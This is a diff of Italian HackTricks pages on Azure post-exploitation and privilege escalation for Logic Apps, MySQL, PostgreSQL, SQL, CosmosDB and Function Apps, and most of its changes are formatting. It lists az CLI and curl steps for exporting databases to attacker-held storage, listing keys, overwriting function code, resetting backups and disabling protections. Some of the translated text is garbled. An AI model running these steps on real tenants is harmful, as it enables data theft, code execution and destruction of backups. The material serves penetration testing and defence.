+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -5,14 +5,12 @@
## Logic Apps Database Post Exploitation
Per ulteriori informazioni sulle logic apps, controlla:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
-Con questi permessi, puoi modificare i flussi di lavoro delle Logic App e gestire le loro identità. In particolare, puoi assegnare o rimuovere identità gestite assegnate al sistema e identità gestite assegnate dall'utente ai flussi di lavoro, il che consente alla Logic App di autenticarsi e accedere ad altre risorse Azure senza credenziali esplicite.
-
-{% code overflow="wrap" %}
+### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
+Con questi permessi, puoi modificare i flussi di lavoro delle Logic App e gestire le loro identità. In particolare, puoi assegnare o rimuovere identità gestite assegnate dal sistema e identità gestite assegnate dall'utente ai flussi di lavoro, il che consente alla Logic App di autenticarsi e accedere ad altre risorse Azure senza credenziali esplicite.
```bash
az logic workflow identity remove/assign \
--name \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
```
-{% endcode %}
-
-### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
-Con queste autorizzazioni, puoi creare o aggiornare Logic Apps ospitate su un App Service Plan. Questo include la modifica delle impostazioni come l'abilitazione o la disabilitazione dell'applicazione forzata di HTTPS.
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
+Con questi permessi, puoi creare o aggiornare Logic Apps ospitati su un App Service Plan. Questo include la modifica delle impostazioni come l'abilitazione o la disabilitazione dell'applicazione forzata di HTTPS.
```bash
az logicapp update \
--resource-group \
--name \
--set httpsOnly=false
```
-{% endcode %}
-
-### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
+### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
Con questo permesso, puoi avviare/arrestare/riavviare un'app web, comprese le Logic Apps ospitate su un App Service Plan. Questa azione garantisce che un'app precedentemente arrestata venga riportata online e riprenda la sua funzionalità. Questo può interrompere i flussi di lavoro, attivare operazioni non intenzionali o causare inattività avviando, arrestando o riavviando inaspettatamente le Logic Apps.
-
-{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name \
--resource-group
```
-{% endcode %}
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
-
-### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
-
-Con questo permesso, puoi configurare o modificare le impostazioni per le app web, comprese le Logic Apps ospitate su un App Service Plan. Ciò consente di apportare modifiche alle impostazioni dell'app, alle stringhe di connessione, alle configurazioni di autenticazione e altro ancora.
-
-{% code overflow="wrap" %}
+Con questo permesso, puoi configurare o modificare le impostazioni per le app web, comprese le Logic Apps ospitate su un App Service Plan. Ciò consente modifiche alle impostazioni dell'app, alle stringhe di connessione, alle configurazioni di autenticazione e altro ancora.
```bash
az logicapp config appsettings set \
--name \
--resource-group \
--settings "="
```
-{% endcode %}
-
-### "Microsoft.Logic/integrationAccounts/write"
+### `Microsoft.Logic/integrationAccounts/write`
Con questo permesso, puoi creare, aggiornare o eliminare gli account di integrazione di Azure Logic Apps. Questo include la gestione delle configurazioni a livello di account di integrazione come mappe, schemi, partner, accordi e altro ancora.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku \
--state Enabled
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
Con questo permesso, puoi creare o modificare le configurazioni batch all'interno di un account di integrazione di Azure Logic Apps. Le configurazioni batch definiscono come Logic Apps elaborano e raggruppano i messaggi in arrivo per l'elaborazione batch.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
Con questo permesso, puoi creare o modificare le mappe all'interno di un account di integrazione di Azure Logic Apps. Le mappe vengono utilizzate per trasformare i dati da un formato all'altro, consentendo un'integrazione fluida tra diversi sistemi e applicazioni.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
Con questo permesso, puoi creare o modificare partner in un account di integrazione di Azure Logic Apps. I partner rappresentano entità o sistemi che partecipano a flussi di lavoro business-to-business (B2B).
-
-{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
-Con questo permesso, puoi creare o modificare sessioni all'interno di un account di integrazione di Azure Logic Apps. Le sessioni sono utilizzate nei flussi di lavoro B2B per raggruppare i messaggi e tenere traccia delle transazioni correlate su un periodo definito.
-
-{% code overflow="wrap" %}
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
+Con questo permesso, puoi creare o modificare sessioni all'interno di un account di integrazione Azure Logic Apps. Le sessioni sono utilizzate nei flussi di lavoro B2B per raggruppare i messaggi e tenere traccia delle transazioni correlate su un periodo definito.
```bash
az logic integration-account session create \
--resource-group \
@@ -147,8 +112,6 @@ az logic integration-account session create \
}
}'
```
-{% endcode %}
-
### "*/delete"
Con questi permessi puoi eliminare risorse relative ad Azure Logic Apps
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
index 993df3ff6..a125f554b 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -5,54 +5,40 @@
## MySQL Database Post Exploitation
Per ulteriori informazioni su MySQL Database controlla:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
Con questo permesso, puoi creare nuovi database all'interno di un'istanza di MySQL Flexible Server su Azure. Anche se questa azione di per sé non modifica le risorse esistenti, la creazione eccessiva o non autorizzata di database potrebbe portare a un consumo di risorse o a un potenziale uso improprio del server.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+### `Microsoft.DBforMySQL/flexibleServers/backups/write`
Con questo permesso, puoi avviare la creazione di backup per un'istanza di MySQL Flexible Server su Azure. Questo consente agli utenti di generare backup su richiesta, che possono essere utili per preservare i dati in momenti specifici.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
+### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
Con questo permesso, puoi configurare o aggiornare le impostazioni di Advanced Threat Protection (ATP) per un'istanza di MySQL Flexible Server su Azure. Questo consente di abilitare o disabilitare le funzionalità di sicurezza progettate per rilevare e rispondere ad attività anomale e potenziali minacce.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
-### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
-
-Con questo permesso, puoi creare o modificare le regole del firewall per un'istanza di MySQL Flexible Server su Azure. Questo consente di controllare quali indirizzi IP o intervalli possono accedere al server. L'uso non autorizzato o improprio di questo permesso potrebbe esporre il server a accessi indesiderati o malevoli.
-
-{% code overflow="wrap" %}
+Con questo permesso, puoi creare o modificare le regole del firewall per un'istanza di MySQL Flexible Server su Azure. Questo consente di controllare quali indirizzi IP o intervalli possono accedere al server. L'uso non autorizzato o improprio di questo permesso potrebbe esporre il server ad accessi indesiderati o malevoli.
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
-### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
-
-Con questo permesso, puoi resettare il GTID (Global Transaction Identifier) per un'istanza di MySQL Flexible Server su Azure. Resettare il GTID invaliderà tutti i backup automatizzati, on-demand e geo-backup che sono stati effettuati prima dell'azione di reset. Dopo il reset del GTID, non sarai in grado di eseguire PITR (point-in-time-restore) utilizzando il punto di ripristino più veloce o un punto di ripristino personalizzato se il tempo di ripristino selezionato è prima del tempo di reset del GTID. E il geo-restore riuscito sarà possibile solo dopo 5 giorni.
-
-{% code overflow="wrap" %}
+Con questo permesso, puoi resettare il GTID (Global Transaction Identifier) per un'istanza di MySQL Flexible Server su Azure. Resettare il GTID invaliderà tutti i backup automatizzati, on-demand e geo-backup effettuati prima dell'azione di reset. Dopo il reset del GTID, non sarai in grado di eseguire PITR (point-in-time-restore) utilizzando il punto di ripristino più veloce o un punto di ripristino personalizzato se l'orario di ripristino selezionato è prima dell'orario di reset del GTID. E il geo-restore riuscito sarà possibile solo dopo 5 giorni.
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group \
--gtid-set
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
+### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
Con questo permesso, puoi aggiornare le impostazioni di configurazione di un'istanza di MySQL Flexible Server su Azure. Questo consente la personalizzazione dei parametri del server come l'ottimizzazione delle prestazioni, le configurazioni di sicurezza o le impostazioni operative. Puoi aggiornare i seguenti parametri insieme in un batch: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors e max_connections.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server parameter set-batch \
--resource-group \
--server-name \
--args max_connections=
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Con questo permesso, puoi assegnare un'identità gestita assegnata all'utente ai server MySQL flessibili.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/stop/action"
+### `Microsoft.DBforMySQL/flexibleServers/stop/action`
Con questo permesso, puoi fermare un'istanza di PostgreSQL Flexible Server su Azure. Fermare un server può portare a un'interruzione temporanea del servizio, influenzando le applicazioni e gli utenti dipendenti dal database.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforMySQL/flexibleServers/start/action"
+### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
index 5bf77926e..a282b1614 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -5,54 +5,40 @@
## PostgreSQL Database Post Exploitation
Per ulteriori informazioni su PostgreSQL Database controlla:
-{% content-ref url="../az-services/az-postgresql.md" %}
-[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-postgresql.md
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Con questo permesso, puoi creare nuovi database all'interno di un'istanza di Postgres Flexible Server su Azure. Anche se questa azione di per sé non modifica le risorse esistenti, la creazione eccessiva o non autorizzata di database potrebbe portare a un consumo di risorse o a un potenziale uso improprio del server.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Con questo permesso, puoi avviare la creazione di backup per un'istanza di Postgres Flexible Server su Azure. Questo consente agli utenti di generare backup su richiesta, che possono essere utili per preservare i dati in momenti specifici.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Con questo permesso, puoi configurare o aggiornare le impostazioni di Advanced Threat Protection (ATP) per un'istanza di Postgres Flexible Server su Azure. Questo consente di abilitare o disabilitare le funzionalità di sicurezza progettate per rilevare e rispondere ad attività anomale e potenziali minacce.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
Con questo permesso, puoi creare o modificare le regole del firewall per un'istanza di Postgres Flexible Server su Azure. Questo consente di controllare quali indirizzi IP o intervalli possono accedere al server. L'uso non autorizzato o improprio di questo permesso potrebbe esporre il server a accessi indesiderati o malevoli.
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
Con questo permesso, puoi aggiornare le impostazioni di configurazione di un'istanza di Postgres Flexible Server su Azure. Questo consente la personalizzazione dei parametri del server come l'ottimizzazione delle prestazioni, le configurazioni di sicurezza o le impostazioni operative.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name \
--value
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
Con questo permesso, puoi fermare un'istanza di PostgreSQL Flexible Server su Azure. Fermare un server può portare a un'interruzione temporanea del servizio, influenzando le applicazioni e gli utenti dipendenti dal database.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index 7f1c051e3..15896b719 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -10,7 +10,7 @@ Per ulteriori informazioni su SQL Database controlla:
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
+### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
Con questi permessi, un attaccante può creare e aggiornare database all'interno dell'ambiente compromesso. Questa attività di post-exploitation potrebbe consentire a un attaccante di aggiungere dati malevoli, modificare le configurazioni del database o inserire backdoor per una maggiore persistenza, potenzialmente interrompendo le operazioni o abilitando ulteriori azioni malevole.
```bash
@@ -20,7 +20,7 @@ az sql db create --resource-group --server --name
# Update Database
az sql db update --resource-group --server --name --max-size
```
-### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
+### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
Con questi permessi, un attaccante può creare e aggiornare elasticPools all'interno dell'ambiente compromesso. Questa attività di post-exploitation potrebbe consentire a un attaccante di aggiungere dati malevoli, modificare le configurazioni del database o inserire backdoor per una maggiore persistenza, potenzialmente interrompendo le operazioni o abilitando ulteriori azioni malevole.
```bash
@@ -40,7 +40,7 @@ az sql elastic-pool update \
--dtu \
--tags
```
-### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
+### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
Con questo permesso, puoi modificare o abilitare le impostazioni di auditing su un Azure SQL Server. Questo potrebbe consentire a un attaccante o a un utente autorizzato di manipolare le configurazioni di auditing, potenzialmente coprendo le tracce o reindirizzando i log di auditing a una posizione sotto il loro controllo. Questo può ostacolare il monitoraggio della sicurezza o consentirgli di tenere traccia delle azioni. NOTA: Per abilitare l'auditing per un Azure SQL Server utilizzando Blob Storage, devi allegare un'account di archiviazione dove i log di auditing possono essere salvati.
```bash
@@ -51,7 +51,7 @@ az sql server audit-policy update \
--storage-account \
--retention-days 7
```
-### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
+### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
Con questo permesso, puoi modificare le politiche di connessione di un Azure SQL Server. Questa capacità può essere sfruttata per abilitare o modificare le impostazioni di connessione a livello di server.
```bash
@@ -60,7 +60,7 @@ az sql server connection-policy update \
--resource-group \
--connection-type
```
-### "Microsoft.Sql/servers/databases/export/action"
+### `Microsoft.Sql/servers/databases/export/action`
Con questo permesso, puoi esportare un database da un Azure SQL Server a un account di archiviazione. Un attaccante o un utente autorizzato con questo permesso può esfiltrare dati sensibili dal database esportandoli in una posizione che controllano, ponendo un rischio significativo di violazione dei dati. È importante conoscere la chiave di archiviazione per poter eseguire questa operazione.
```bash
@@ -74,7 +74,7 @@ az sql db export \
--admin-password
```
-### "Microsoft.Sql/servers/databases/import/action"
+### `Microsoft.Sql/servers/databases/import/action`
Con questo permesso, puoi importare un database in un Azure SQL Server. Un attaccante o un utente autorizzato con questo permesso può potenzialmente caricare database dannosi o manipolati. Questo può portare a ottenere il controllo su dati sensibili o a incorporare script o trigger dannosi all'interno del database importato. Inoltre, puoi importarlo nel tuo server in Azure. Nota: Il server deve consentire ai servizi e alle risorse di Azure di accedere al server.
```bash
@@ -85,6 +85,6 @@ az sql db import --admin-user \
--resource-group \
--storage-key-type SharedAccessKey \
--storage-key \
---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
+--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
index 904035f32..193b54edf 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -5,15 +5,13 @@
## CosmosDB Privesc
Per ulteriori informazioni su SQL Database controlla:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
Con questi permessi puoi effettuare un'escursione di privilegi dando a un utente i permessi per eseguire query e connettersi al database. Prima viene creata una definizione di ruolo che fornisce i permessi e gli ambiti necessari.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql role definition create \
--account-name \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
-{% endcode %}
-
-Dopo di che, l'assegnazione della definizione viene data a un utente. Dopo questo, quell'utente può utilizzare il metodo di connessione DefaultAzureCredential() per eseguire query.
-
-{% code overflow="wrap" %}
+Dopo che l'assegnazione della definizione è stata data a un utente. Dopo di ciò, quell'utente può utilizzare il metodo di connessione DefaultAzureCredential() per eseguire query.
```bash
az cosmosdb sql role assignment create \
--account-name \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id \
--scope "/"
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
+### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Con questo permesso, puoi recuperare le chiavi primaria e secondaria per un account Azure Cosmos DB. Queste chiavi forniscono accesso completo all'account del database e alle sue risorse, abilitando azioni come letture, scritture e modifiche di configurazione dei dati.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys list \
--name \
--resource-group
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index d3bfff4f9..8b1594b83 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -12,7 +12,7 @@ Controlla la pagina seguente per ulteriori informazioni:
### Bucket Read/Write
-Con permessi per leggere i contenitori all'interno dello Storage Account che memorizza i dati della funzione, è possibile trovare **diversi contenitori** (personalizzati o con nomi predefiniti) che potrebbero contenere **il codice eseguito dalla funzione**.
+Con permessi per leggere i contenitori all'interno dello Storage Account che memorizza i dati della funzione, è possibile trovare **contenitori diversi** (personalizzati o con nomi predefiniti) che potrebbero contenere **il codice eseguito dalla funzione**.
Una volta trovato dove si trova il codice della funzione, se hai permessi di scrittura su di esso, puoi far eseguire alla funzione qualsiasi codice e aumentare i privilegi delle identità gestite collegate alla funzione.
@@ -20,18 +20,18 @@ Una volta trovato dove si trova il codice della funzione, se hai permessi di scr
Il codice della funzione è solitamente memorizzato all'interno di un file share. Con accesso sufficiente, è possibile modificare il file di codice e **far caricare alla funzione codice arbitrario**, consentendo di aumentare i privilegi delle identità gestite collegate alla Function.
-Questo metodo di distribuzione solitamente configura le impostazioni **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** che puoi ottenere da
+Questo metodo di distribuzione solitamente configura le impostazioni **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** che puoi ottenere da
```bash
az functionapp config appsettings list \
--name \
--resource-group
```
-Quei config conterranno la **Storage Account Key** che la Function può utilizzare per accedere al codice.
+Quei configureranno conterranno la **Storage Account Key** che la Function può utilizzare per accedere al codice.
> [!CAUTION]
> Con abbastanza permessi per connettersi al File Share e **modificare lo script** in esecuzione, è possibile eseguire codice arbitrario nella Function e aumentare i privilegi.
-L'esempio seguente utilizza macOS per connettersi al file share, ma si consiglia di controllare anche la seguente pagina per ulteriori informazioni sui file share:
+Il seguente esempio utilizza macOS per connettersi al file share, ma si consiglia di controllare anche la seguente pagina per ulteriori informazioni sui file share:
{{#ref}}
../az-services/az-file-shares.md
@@ -116,7 +116,7 @@ az storage blob upload \
--file /tmp/scm-latest-.zip \
--overwrite
```
-### Microsoft.Web/sites/host/listkeys/action
+### `Microsoft.Web/sites/host/listkeys/action`
Questo permesso consente di elencare le chiavi della funzione, master e di sistema, ma non quella dell'host, della funzione specificata con:
```bash
@@ -143,34 +143,34 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
-### Microsoft.Web/sites/functions/listKeys/action
+### `Microsoft.Web/sites/functions/listKeys/action`
Questo permesso consente di ottenere la chiave host della funzione specificata con:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01"
```
-### Microsoft.Web/sites/host/functionKeys/write
+### `Microsoft.Web/sites/host/functionKeys/write`
-Questa autorizzazione consente di creare/aggiornare una chiave di funzione della funzione specificata con:
+Questo permesso consente di creare/aggiornare una chiave di funzione della funzione specificata con:
```bash
az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/host/masterKey/write
+### `Microsoft.Web/sites/host/masterKey/write`
-Questa autorizzazione consente di creare/aggiornare una chiave master per la funzione specificata con:
+Questo permesso consente di creare/aggiornare una chiave master per la funzione specificata con:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Ricorda che con questa chiave puoi anche accedere al codice sorgente e modificarlo come spiegato in precedenza!
-### Microsoft.Web/sites/host/systemKeys/write
+### `Microsoft.Web/sites/host/systemKeys/write`
